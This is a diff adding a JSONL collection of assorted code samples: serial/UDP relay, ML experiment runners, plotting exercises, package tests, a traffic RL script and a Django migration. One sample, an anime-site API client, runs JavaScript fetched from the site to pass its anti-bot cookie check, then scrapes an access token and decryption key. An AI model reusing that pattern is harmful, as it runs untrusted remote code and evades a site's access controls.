diff --git "a/3351.jsonl" "b/3351.jsonl"
new file mode 100644--- /dev/null
+++ "b/3351.jsonl"
@@ -0,0 +1,689 @@
+{"seq_id":"434281555","text":"# from: https://roboticsbackend.com/raspberry-pi-arduino-serial-communication/\n\n# run: python3 serial3_udp_spk.py\n\n#!/usr/bin/env python3\nimport serial\nimport time\nimport socket\nimport pyttsx3\n\n#engine = pyttsx3.init()\n\nif __name__ == '__main__':\n\n    UDP_IP = \"192.168.1.208\"\n    UDP_PORT = 5005\n\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n    sock.bind((UDP_IP, UDP_PORT))\n\n    print(\"Waiting to receive data via UDP ...\" )\n\n    while True:\n        data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes\n        print(\"recv:\", data)\n\n        #ser = serial.Serial('/dev/ttyACM0', 9600, timeout=1)\n        ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)\n        ser.flush()\n\n        #while True:\n        #ser.write(b\"Hello from Raspberry Pi!\\n\")\n        #ser.write(data.encode('utf-8'))\n        ser.write(data)\n        line = ser.readline().decode('utf-8').rstrip()\n        print(\"pi:recv: {%s}\" % (line) )\n        #time.sleep(1)\n\n        #engine.say(\"yeah\")\n        #engine.runAndWait()\n\n","sub_path":"sensor_set/serial/serial3_udp_spk.py","file_name":"serial3_udp_spk.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"96723678","text":"from abc import ABC, abstractmethod\nimport json\nimport time\nfrom importlib import import_module\n\nfrom dask_ml.model_selection import GridSearchCV\nimport dask.dataframe as dd\nimport joblib\nimport pandas as pd\n\nfrom dask_ml.model_selection import train_test_split\n# from sklearn.model_selection import GridSearchCV as SkGridSearchCV\n\n\n# Hack for DaskML bug: impossible to get best params without refit=True\ndef _get_best_params_score(grigsearch):\n    df_cv_res = pd.DataFrame(grigsearch.cv_results_)\n    best_params = df_cv_res.loc[df_cv_res[\"rank_test_score\"] == 1, \"params\"].iloc[0]\n    mean_test_score = df_cv_res.loc[df_cv_res[\"rank_test_score\"] == 1, \"mean_test_score\"].iloc[0]\n\n    return df_cv_res, best_params, mean_test_score\n\n\nclass ExperimentRunner:\n    \"\"\"\n    This class encapsulates data preparation and running the CV experiment.\n    Assumed to be run in presence of a dask client (and possibly a cluster)\n    \"\"\"\n    def __init__(self, input_path, target_col, model_desc):\n        self.input_path = input_path\n        self.target_col = target_col\n        self.model_desc = model_desc\n\n    def load_data(self):\n        df = dd.read_hdf(self.input_path, '/data', mode='r')\n\n        self.X = df.drop(self.target_col, axis=1)\n        self.y = df[self.target_col]\n\n    def split_data(self):\n        self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(self.X, self.y,\n                                                                                test_size=float(\n                                                                                    self.model_desc.get(\"test_size\",\n                                                                                                        0.5)),\n                                                                                random_state=int(\n                                                                                    self.model_desc.get(\"seed\", 31337)))\n\n    def _create_model(self, **kwargs):\n        module_name, class_name = self.model_desc[\"algorithm_name\"].rsplit('.', 1)\n        return getattr(import_module(module_name), class_name)(**kwargs)\n\n    def run(self):\n        self.load_data()\n        self.split_data()\n\n        # nulls = X_train.isnull().sum()\n        # total_nulls = nulls.sum()\n        # if total_nulls > 0:\n        #    with pd.option_context('display.max_rows', None, 'display.max_columns', None):\n        #        print(nulls[nulls > 0], \"total: \", total_nulls)\n\n        reg = self._create_model()\n        gs = GridSearchCV(reg, self.model_desc[\"params_grid\"], cv=self.model_desc[\"num_folds\"], n_jobs=-1, refit=False)\n\n        start_time = time.monotonic()\n        with joblib.parallel_backend(\"dask\", scatter=[self.X_train, self.y_train]):\n            gs.fit(self.X_train, self.y_train)\n        finish_time = time.monotonic()\n        gs_time = finish_time - start_time\n        print(\"Searching for marameters for [{}]\".format(self.model_desc[\"algorithm_name\"]))\n        print(\"GridSearchCV time: {}\".format(gs_time))\n        cv_res, best_params, gs_score = _get_best_params_score(gs)\n        print(\"GridSearchCV score: {}\".format(gs_score))\n        print(\"Best params: {}\".format(best_params))\n\n        start_time = time.monotonic()\n        regr_best = self._create_model(**best_params).fit(self.X_train, self.y_train)\n        finish_time = time.monotonic()\n        test_time = finish_time - start_time\n        print(\"Final training time: {}\".format(test_time))\n\n        test_score = float(regr_best.score(self.X_test, self.y_test))\n\n        print(\"Test score: {}\".format(test_score))\n\n        ans = {\"algorithm_name\": self.model_desc[\"algorithm_name\"],\n               \"gs_time\": gs_time,\n               \"gs_score\": gs_score,\n               \"test_time\": test_time,\n               \"test_score\": test_score}\n\n        if \"output_path\" in self.model_desc:\n            with open(self.model_desc[\"output_path\"], \"w\") as fp:\n                json.dump(ans, fp)\n\n        return ans\n\n\nclass PersistExperimentRunner(ExperimentRunner):\n    \"\"\"\n    Persist all data in memory for compatibility with some algorithms.\n    \"\"\"\n    def load_data(self):\n        super().load_data()\n        self.X = self.X.compute()\n        self.y = self.y.compute()\n\n\nclass ArrayExperimentRunner(ExperimentRunner):\n    \"\"\"\n    Convert data to dask arrays. Some dask ans sklearn algorithms do not support dask DataFrame.\n    \"\"\"\n    def load_data(self):\n        super().load_data()\n        self.X = self.X.to_dask_array(lengths=True)\n        self.y = self.y.to_dask_array(lengths=True)\n\n\nrunners = {\n    \"dask\": ExperimentRunner,\n    \"dask_array\": ArrayExperimentRunner,\n    \"sklearn\": PersistExperimentRunner\n}\n\n\ndef get_experiment_runner(path, target, desc):\n    m = desc[\"mode\"]\n    return runners[m](input_path=path,\n                      target_col=target,\n                      model_desc=desc)\n","sub_path":"Week 2/Day 3/Submissions/Alexander Fishkov/submission/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"211521671","text":"# coding: utf-8\n\nprint(\"TP4 - Ex\")\n\n# Consigne :\nprint(\"\\nDans le code suivant insérer plt.grid() avant plt.show() et \"+\n    \"relancer. Ajouter ensuite plt.axhline(color='red') et relancer. Enfin \"+\n    \"insérer plt.legend(['sinus'],loc='upper left')\\n\\n\")\n\n# Exercice :\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom math import pi\n\nx = np.linspace(-2*pi,2*pi,1000)\n# Ensemble de x qui vont être pris en paramètres par la fct. (comme un range,\n# mais avec des float).\n\nplt.plot(x,np.sin(x))  \n# on utilise la fonction sinus du module Numpy\n\nplt.ylabel('La fonction sinus')\nplt.xlabel(\"L'axe des abcisses\")\n# Ajoute des labels pour les axes.\n\nplt.grid()\n# Affiche la grille.\n\nplt.axhline(color='red')\n# Colore l'axe des abscisses en rouge.\n\nplt.legend(['sinus'],loc='upper left')\n# Indique en haut à gauche la légende 'sinus'.\n\nplt.show()\n# Affiche le graphe\n\n# Conclusion :\nprint(\"\\nRésultat :\\nLe module numpy permet de faire du calcul scientifique, \"+\n    \"le module matplotlib.pyplot permet de faire des graphiques.\")","sub_path":"Info/TP/TP4/TP4 - Ex01.py","file_name":"TP4 - Ex01.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"68890087","text":"\"\"\"\nTests for magic imports.\n\"\"\"\n\nimport os\n\nimport pandas as pd\nfrom six import string_types\n\nfrom quilt.data import GroupNode, DataNode\nfrom quilt.tools import command\nfrom quilt.tools.const import PACKAGE_DIR_NAME\nfrom quilt.tools.package import Package, PackageException\nfrom quilt.tools.store import PackageStore\nfrom .utils import QuiltTestCase\n\nclass ImportTest(QuiltTestCase):\n    def test_imports(self):\n        mydir = os.path.dirname(__file__)\n        build_path = os.path.join(mydir, './build.yml')\n        command.build('foo/package', build_path)\n\n        # Good imports\n\n        from quilt.data.foo import package\n        from quilt.data.foo.package import dataframes\n        from quilt.data.foo.package import README\n\n        # Contents of the imports\n\n        assert isinstance(package, GroupNode)\n        assert isinstance(dataframes, GroupNode)\n        assert isinstance(dataframes.csv, DataNode)\n        assert isinstance(README, DataNode)\n\n        assert package.dataframes == dataframes\n        assert package.README == README\n\n        assert set(dataframes._keys()) == {'xls', 'csv', 'tsv', 'xls_skip', 'nulls'}\n        assert set(dataframes._group_keys()) == set()\n        assert set(dataframes._data_keys()) == {'xls', 'csv', 'tsv', 'xls_skip', 'nulls'}\n\n        assert isinstance(README(), string_types)\n        assert isinstance(README._data(), string_types)\n        assert isinstance(dataframes.csv(), pd.DataFrame)\n        assert isinstance(dataframes.csv._data(), pd.DataFrame)\n\n        str(package)\n        str(dataframes)\n        str(README)\n\n        # Bad attributes of imported packages\n\n        with self.assertRaises(AttributeError):\n            package.foo\n\n        with self.assertRaises(AttributeError):\n            package.dataframes.foo\n\n        with self.assertRaises(AttributeError):\n            package.dataframes.csv.foo\n\n        # Bad imports\n\n        with self.assertRaises(ImportError):\n            import quilt.data.foo.bad_package\n\n        with self.assertRaises(ImportError):\n            import quilt.data.bad_user.bad_package\n\n        with self.assertRaises(ImportError):\n            from quilt.data.foo.dataframes import blah\n\n        with self.assertRaises(ImportError):\n            from quilt.data.foo.baz import blah\n\n    def test_import_group_as_data(self):\n        mydir = os.path.dirname(__file__)\n        build_path = os.path.join(mydir, './build_group_data.yml')\n        command.build('foo/grppkg', build_path)\n\n        # Good imports\n        from quilt.data.foo.grppkg import dataframes\n        assert isinstance(dataframes, GroupNode)\n        assert isinstance(dataframes.csvs.csv, DataNode)\n        assert isinstance(dataframes._data(), pd.DataFrame)\n\n        # Incompatible Schema\n        from quilt.data.foo.grppkg import incompatible\n        with self.assertRaises(PackageException):\n            incompatible._data()\n\n    def test_multiple_package_dirs(self):\n        # First level\n        mydir = os.path.dirname(__file__)\n        build_path = os.path.join(mydir, './build_simple.yml')\n        command.build('foo/nested', build_path)\n\n        # Second level: different package\n        os.mkdir(\"aaa\")\n        os.chdir(\"aaa\")\n        build_path = os.path.join(mydir, './build.yml')\n        command.build('foo/nested', build_path)\n\n        # Third level: empty package directory\n        os.mkdir(\"bbb\")\n        os.chdir(\"bbb\")\n        os.mkdir(PACKAGE_DIR_NAME)\n\n        # Imports should find the second package\n        from quilt.data.foo.nested import dataframes\n\n    def test_save(self):\n        mydir = os.path.dirname(__file__)\n        build_path = os.path.join(mydir, './build.yml')\n        command.build('foo/package1', build_path)\n\n        from quilt.data.foo import package1\n\n        # Build an identical package\n        command.build('foo/package2', package1)\n\n        from quilt.data.foo import package2\n        teststore = PackageStore(self._store_dir)\n        contents1 = open(os.path.join(teststore.package_path('foo', 'package1'),\n                                      Package.CONTENTS_DIR,\n                                      package1._package.get_hash())).read()\n        contents2 = open(os.path.join(teststore.package_path('foo', 'package2'),\n                                      Package.CONTENTS_DIR,\n                                      package2._package.get_hash())).read()\n        assert contents1 == contents2\n\n        # Rename an attribute\n        package1.dataframes2 = package1.dataframes\n        del package1.dataframes\n\n        # Modify an existing dataframe\n        csv = package1.dataframes2.csv._data()\n        csv.at[0, 'Int0'] = 42\n\n        # Add a new dataframe\n        df = pd.DataFrame(dict(a=[1, 2, 3]))\n        package1._set(['new', 'df'], df)\n        assert package1.new.df._data() is df\n\n        # Add a new file\n        file_path = os.path.join(mydir, 'data/foo.csv')\n        package1._set(['new', 'file'], file_path)\n        assert package1.new.file._data() == file_path\n\n        # Add a new group\n        package1._add_group('newgroup')\n        assert isinstance(package1.newgroup, GroupNode)\n        package1.newgroup._add_group('foo')\n        assert isinstance(package1.newgroup.foo, GroupNode)\n\n        # Overwrite a leaf node\n        new_path = os.path.join(mydir, 'data/nuts.csv')\n        package1._set(['newgroup', 'foo'], new_path)\n        assert package1.newgroup.foo._data() == new_path\n\n        # Overwrite the whole group\n        package1._set(['newgroup'], new_path)\n        assert package1.newgroup._data() == new_path\n\n        # Built a new package and verify the new contents\n        command.build('foo/package3', package1)\n\n        from quilt.data.foo import package3\n\n        assert hasattr(package3, 'dataframes2')\n        assert not hasattr(package3, 'dataframes')\n\n        new_csv = package3.dataframes2.csv._data()\n        assert new_csv.xs(0)['Int0'] == 42\n\n        new_df = package3.new.df._data()\n        assert new_df.xs(2)['a'] == 3\n\n        new_file = package3.new.file._data()\n        assert isinstance(new_file, string_types)\n\n    def test_set_non_node_attr(self):\n        mydir = os.path.dirname(__file__)\n        build_path = os.path.join(mydir, './build.yml')\n        command.build('foo/package1', build_path)\n\n        from quilt.data.foo import package1\n\n        # Assign a DataFrame as a node\n        # (should throw exception)\n        df = pd.DataFrame(dict(a=[1, 2, 3]))\n        with self.assertRaises(AttributeError):\n            package1.newdf = df\n","sub_path":"compiler/quilt/test/test_import.py","file_name":"test_import.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"73207387","text":"import argparse\nfrom pipeline.interface import TextInterface\n\ndef _launch():\n    parser = argparse.ArgumentParser(\n        prog = 'python -m pipline',\n        description = __doc__\n    )\n    parser.add_argument(\n        '-k',\n        '--keep-going',\n        action = 'store_true',\n        default = False\n    )\n    parser.add_argument('filename')\n    args = parser.parse_args()\n    iface = TextInterface(args.keep_going, args.filename)\n    iface.cmdloop()\n\nif __name__=='__main__':\n    _launch()\n","sub_path":"pipeline/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"489128772","text":"from collections import Counter\nfrom wordcloud import WordCloud\nfrom preprocessing.data import (\n    Hans,\n    HarleyQuinn,\n    Jigsaw,\n    Joker,\n    Fletcher,\n    Snowball,\n    Plankton\n) \n\n\ndef create_word_cloud(words, name):\n    counter = Counter(words)\n    cloud = WordCloud(background_color=\"white\")\n    cloud.fit_words(counter)\n    cloud.to_file('{}.png'.format(name))\n\n\ndef exporter():\n    files = {\n        \"Hans\": Hans.words,\n        \"Fletcher\": Fletcher.words,\n        \"Plankton\": Plankton.words,\n        \"Snowball\": Snowball.words,\n        \"HarleyQuinn\": HarleyQuinn.words,\n        \"Jigsaw\": Jigsaw.words,\n        \"Joker\": Joker.words\n    }\n    \n    for name, words in files.items():\n        create_word_cloud(words, name )\n\nexporter()\n","sub_path":"movie_project/static/img/wordCloudImgs/wordCloud.py","file_name":"wordCloud.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"61950593","text":"''' Basic test of fully rl intersection environment with accelerations as actions. Two lane. Fully rl.\n\nVariables:\n    sumo_params {dict} -- [Pass time step, whether safe mode is on or off\n                                    human_lc: strategic -> all advantageous lane changes made\n                                    rl_lc: no_lat_collide -> no lateral collsions\n                                    aggressive -> all lane changes permitted]\n    sumo_binary {str} -- [Use either sumo-gui or sumo for visual or non-visual]\n    type_params {dict} -- [Types of cars in the system.\n    Format {\"name\": (number, (Model, {params}), (Lane Change Model, {params}), initial_speed)}]\n    env_params {dict} -- [Params for reward function]\n    net_params {dict} -- [Params for network.\n                            length: road length\n                            lanes\n                            speed limit\n                            resolution: number of edges comprising ring\n                            net_path: where to store net]\n    cfg_params {dict} -- [description]\n    initial_config {dict} -- [shuffle: randomly reorder cars to start experiment\n                                spacing: if gaussian, add noise in start positions\n                                bunching: how close to place cars at experiment start]\n    scenario {[type]} -- [Which road network to use]\n'''\nimport logging\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.misc.instrument import run_experiment_lite, stub\nfrom rllab.algos.trpo import TRPO\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.policies.gaussian_mlp_policy import GaussianMLPPolicy\nfrom rllab.envs.gym_env import GymEnv\n\nfrom flow.core.params import SumoParams, EnvParams, InitialConfig, NetParams\nfrom flow.core.vehicles import Vehicles\nfrom flow.envs.two_intersection import TwoIntersectionEnvironment\n\nfrom flow.scenarios.intersections.gen import TwoWayIntersectionGenerator\nfrom flow.scenarios.intersections.intersection_scenario import TwoWayIntersectionScenario\nfrom flow.controllers.rlcontroller import RLController\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef run_task(*_):\n    auton_cars = 20\n\n    sumo_params = SumoParams(time_step=0.1, human_speed_mode=\"no_collide\", rl_speed_mode= \"no_collide\",\n                             sumo_binary=\"sumo-gui\")\n\n    vehicles = Vehicles()\n    vehicles.add_vehicles(\"idm\", (RLController, {}), None, None, 0, 20)\n\n    intensity = .2\n    v_enter = 10\n    env_params = EnvParams(additional_params={\"target_velocity\": v_enter,\n                                              \"control-length\": 150, \"max_speed\": v_enter})\n\n    additional_net_params = {\"horizontal_length_in\": 400, \"horizontal_length_out\": 800, \"horizontal_lanes\": 1,\n                             \"vertical_length_in\": 400, \"vertical_length_out\": 800, \"vertical_lanes\": 1,\n                             \"speed_limit\": {\"horizontal\": v_enter, \"vertical\": v_enter}}\n    net_params = NetParams(no_internal_links=False, additional_params=additional_net_params)\n\n    cfg_params = {\"start_time\": 0, \"end_time\": 3000, \"cfg_path\": \"debug/cfg/\"}\n\n    initial_config = InitialConfig(spacing=\"custom\", additional_params={\"intensity\": intensity, \"enter_speed\": v_enter})\n\n    scenario = TwoWayIntersectionScenario(\"two-way-intersection\", TwoWayIntersectionGenerator,\n                                          vehicles, net_params, initial_config=initial_config)\n\n    env = TwoIntersectionEnvironment(env_params, sumo_params, scenario)\n    env_name = \"TwoIntersectionEnvironment\"\n    pass_params = (env_name, sumo_params, vehicles, env_params, net_params,\n                   initial_config, scenario)\n\n    env = GymEnv(env_name, record_video=False, register_params=pass_params)\n    horizon = env.horizon\n    env = normalize(env)\n    logging.info(\"Experiment Set Up complete\")\n\n    print(\"experiment initialized\")\n\n    env = normalize(env)\n\n    policy = GaussianMLPPolicy(\n        env_spec=env.spec,\n        hidden_sizes=(64, 64)\n    )\n\n    baseline = LinearFeatureBaseline(env_spec=env.spec)\n\n    algo = TRPO(\n        env=env,\n        policy=policy,\n        baseline=baseline,\n        batch_size=30000,\n        max_path_length=horizon,\n        # whole_paths=True,\n        n_itr=200,\n        discount=0.999,\n        # step_size=0.01,\n    )\n    algo.train()\n\nfor seed in [1]: # [1, 5, 10, 73, 56]\n    run_experiment_lite(\n        run_task,\n        # Number of parallel workers for sampling\n        n_parallel=1,\n        # Only keep the snapshot parameters for the last iteration\n        snapshot_mode=\"last\",\n        # Specifies the seed for the experiment. If this is not provided, a random seed\n        # will be used\n        seed=seed,\n        mode=\"local\",\n        exp_prefix=\"intersection-exp\",\n        # python_command=flow_config.PYTHON_COMMAND\n        # plot=True,\n    )\n","sub_path":"examples/two-way-intersection-rl.py","file_name":"two-way-intersection-rl.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"303556916","text":"import pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import GridSearchCV,ParameterGrid\n\n\ndata = pd.read_csv('./data/BlackFriday.csv')\ndata.fillna(0.0, inplace=True)\nle = LabelEncoder()\ndata['User_ID'] = le.fit_transform(data['User_ID'])\nle = LabelEncoder()\ndata['Product_ID'] = le.fit_transform(data['Product_ID'])\ndata_AGCS = pd.get_dummies(data,columns=['Age','Gender', 'City_Category', 'Stay_In_Current_City_Years'])\ndata_encoded = pd.concat([data.drop('Purchase',axis=1), data_AGCS], axis=1)\ndata_encoded.drop(['Age','Gender', 'City_Category', 'Stay_In_Current_City_Years'], axis=1, inplace=True)\nX = data_encoded.drop('Purchase',axis=1)\ny = data_encoded['Purchase']\n# 标准化\nstd = StandardScaler()\nX = std.fit_transform(X)\nX_train,X_test,y_train,y_test = train_test_split(X,y)\n\n# rfr = RandomForestRegressor(n_estimators=10)\n# rfr.fit(X_train, y_train)\n# y_pre = rfr.predict(X_test)\n# print(y_pre)\n# print('准确率：',rfr.score(X_test, y_test))\n\n\nparameter_space = {\n    \"n_estimators\": [2,3,4,5,6,7],\n    \"min_samples_leaf\": [2],\n}\nestimator = RandomForestRegressor()\nrfr_cv = GridSearchCV(estimator, parameter_space, cv=4)\nrfr_cv.fit(X_train,y_train)\nprint(rfr_cv.best_params_)\nprint(rfr_cv.best_score_)\n","sub_path":"pre.py","file_name":"pre.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"471743006","text":"#data visualization for GAS usages in Surja Residence\nfrom matplotlib import pyplot as ply\nimport numpy as np\n\nno_of_gas=[1,2,3,4,5]\nno_of_days=[15,14,14,16,12]\n\n#np_data= np_array(data)\nply.plot(no_of_gas,no_of_days)\nply.xlabel(\"No of Gas\")\nply.ylabel(\"No of Days\")\nply.title(\"Usages of Gas\")\nply.show()\n","sub_path":"Matplotlib/GasPlot.py","file_name":"GasPlot.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"76050764","text":"# ID: 2018220076\n# Name: Kwon Doyoung\n# -*- coding: utf-8 -*-\nimport numpy as np\n\nfrom sklearn import datasets\nfrom pattern.classifier import classifier, accuracy\n\n\ndef totalResult(train_x, train_y, test_x, test_y, nClass):\n    accSet = []\n    # model setting\n    model = classifier(train_x, train_y, nClass)\n    # model 1\n    pred = model.predict(test_x, 1)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 1 - accuracy: {:.4f}\".format(acc))\n    # model 2\n    pred = model.predict(test_x, 2)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 2 - accuracy: {:.4f}\".format(acc))\n    # model 3\n    pred = model.predict(test_x, 3)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 3 - accuracy: {:.4f}\".format(acc))\n    # model 4\n    pred = model.predict(test_x, 4)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 4 - accuracy: {:.4f}\".format(acc))\n    # model 5\n    pred = model.predict(test_x, 5)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 5 - accuracy: {:.4f}\".format(acc))\n    # model 6\n    pred = model.predict(test_x, 6)\n    acc = accuracy(pred, test_y)\n    accSet.append(acc)\n    print(\"covariance matrix\")\n    print(model.covMatrix)\n    print(\"mdoel 6 - accuracy: {:.4f}\".format(acc))\n\n    return np.array(accSet)\n\n\nif __name__ == \"__main__\":\n    iris = datasets.load_iris()\n    x = iris.data[:, :]\n    y = iris.target\n\n    # hw 1 에 대한 결과\n    print(\"=======no cross validation part=======\")\n    totalResult(x, y, x, y, 3)\n    print(\"=======================================\\n\")\n\n    # hw2 에 대한 결과\n    print(\"===cross validation data processing====\")\n    meanAcc = np.zeros([6])\n    fold = 5\n    for n in range(fold):\n        mask = np.array([True for _ in range(150)])\n        # R (i+1)th & T (i+1)\n        mask[50 - 10 * (n + 1):50 - 10 * n] = False  # class 1\n        mask[100 - 10 * (n + 1):100 - 10 * n] = False  # class 2\n        mask[150 - 10 * (n + 1):150 - 10 * n] = False  # class 3\n        rx = x[mask]\n        ry = y[mask]\n        tx = x[~mask]\n        ty = y[~mask]\n        print(\"R{i} & T{i} result\".format(i=n + 1))\n        acc = totalResult(rx, ry, tx, ty, 3)\n        meanAcc += acc\n    meanAcc = meanAcc / fold\n    print(\"model mean of accuracy\")\n    print(meanAcc)\n","sub_path":"pattern/hw02(class).py","file_name":"hw02(class).py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"420089694","text":"from ex115.lib.interface import *\nfrom ex115.lib.arquivo import *\nfrom time import sleep\n\narq = 'cursoemvideo.txt'\n\nif not arqExiste(arq):\n    criarArquivo(arq)\n\n\nwhile True:\n    perguta = menu(['Ver pessoas cadatradas', 'Cadastrar nova Pessoa', 'Sair do Sistema'])\n    if perguta == 1:\n        # Opção de listar o conteúdo de um arquivo.\n        lerArquivo(arq)\n    elif perguta == 2:\n        # Opção de cadastrar nova pessoa.\n        cabeçalho('NOVO CADASTRO')\n        nome = cadastrarNome()\n        idade = leiaInt('Idade: ')\n        cadastrar(arq, nome, idade)\n    elif perguta == 3:\n        # Opção de sair do sistema.\n        cabeçalho('Saindo do sistema... Até logo!')\n        break\n    else:\n        # Digitou uma opção errada no menu.\n        cor('ERRO: Digite uma opção válida!', 1, False)\n    sleep(2)\n","sub_path":"Exercícios/ex115/sistema.py","file_name":"sistema.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"542456934","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('hipchat', '0002_auto_20151213_0657'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='glance',\n            name='icon_url',\n            field=models.URLField(help_text=b'URL to icon displayed on the left of the glance.', blank=True),\n        ),\n        migrations.AlterField(\n            model_name='glance',\n            name='icon_url2',\n            field=models.URLField(help_text=b'URL to hi-res icon displayed on the left of the glance.', blank=True),\n        ),\n    ]\n","sub_path":"hipchat/migrations/0003_auto_20151213_0723.py","file_name":"0003_auto_20151213_0723.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"569855955","text":"import re\nfrom typing import List\nfrom urllib.parse import urljoin\n\nimport httpx\nimport js2py\nfrom faker import Faker\nfrom pydantic import parse_obj_as\n\nfrom kurby.constants import TWIST_URL, ANIME_ENDPOINT\nfrom kurby.decrypt import decrypt\nfrom kurby.schemas import Anime, AnimeDetails, AnimeSource\nfrom kurby.utils import get_chrome_headers\n\nfake = Faker()\n\n\nclass TwistClient(httpx.Client):\n    source_key = None\n    access_token = None\n\n\ndef get_auth_client() -> TwistClient:\n    headers = get_chrome_headers()\n    r = httpx.get(url=TWIST_URL, headers=headers)\n    r.raise_for_status()\n    match = re.search(r\"<script>(.*)<\\/script>\", r.content.decode(\"utf-8\"))\n    script = match.group(1)\n    script = script.replace(\"=eval\", \"=function(a) {return a;}\")\n    cookie_script = js2py.eval_js(script).replace(\"location.reload();\", \"\")\n    cookie_script = cookie_script.replace(\"document.cookie=\", \"value=\")\n    cookie_script += \"func=function(a) {return a;};func(value);\"\n    cookie = js2py.eval_js(cookie_script).split(\"=\", 1)\n    cookies = {cookie[0]: cookie[1]}\n\n    r = httpx.get(url=TWIST_URL, headers=headers, cookies=cookies)\n    match = re.search(\n        r'<script src=\"(\\/_nuxt\\/\\w+\\.js)\" type=\"text\\/javascript\"><\\/script>\\s*$',\n        r.content.decode(\"utf-8\"),\n    )\n    script_url = urljoin(TWIST_URL, match.group(1))\n    r = httpx.get(url=urljoin(TWIST_URL, script_url), headers=headers, cookies=cookies)\n    content = r.content.decode(\"utf-8\")\n    r.raise_for_status()\n    match = re.search(r'\"x-access-token\":\"([\\w]+)\"', content)\n    access_token = match.group(1)\n    c = TwistClient(\n        headers={**headers, \"x-access-token\": access_token}, cookies=cookies\n    )\n    # Extra parameters\n    match = re.search(r',k:\"(.+)\",mount', content)\n    c.source_key = match.group(1)\n    c.access_token = access_token\n    return c\n\n\nclient = get_auth_client()\n\n\ndef get_animes() -> List[Anime]:\n    with client:\n        r = client.get(url=f\"{TWIST_URL}{ANIME_ENDPOINT}\")\n        r.raise_for_status()\n        return parse_obj_as(List[Anime], r.json())\n\n\ndef get_anime_details(anime: Anime) -> AnimeDetails:\n    with client:\n        url = f\"{TWIST_URL}{ANIME_ENDPOINT}/{anime.slug.slug}\"\n        r = client.get(url=url)\n        r.raise_for_status()\n        anime_details: AnimeDetails = AnimeDetails.parse_obj(r.json())\n        return anime_details\n\n\ndef get_sources(anime: Anime) -> List[AnimeSource]:\n    with client:\n        source_key = client.source_key\n        url = f\"{TWIST_URL}{ANIME_ENDPOINT}/{anime.slug.slug}/sources\"\n        r = client.get(url=url)\n        r.raise_for_status()\n        sources: List[AnimeSource] = parse_obj_as(List[AnimeSource], r.json())\n        # Decrypt and complete source\n        for source in sources:\n            source.source = (\n                decrypt(source.source.encode(\"utf-8\"), source_key.encode(\"utf-8\"))\n                .decode(\"utf-8\")\n                .replace(\" \", \"%20\")\n            )\n        return sources\n","sub_path":"kurby/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
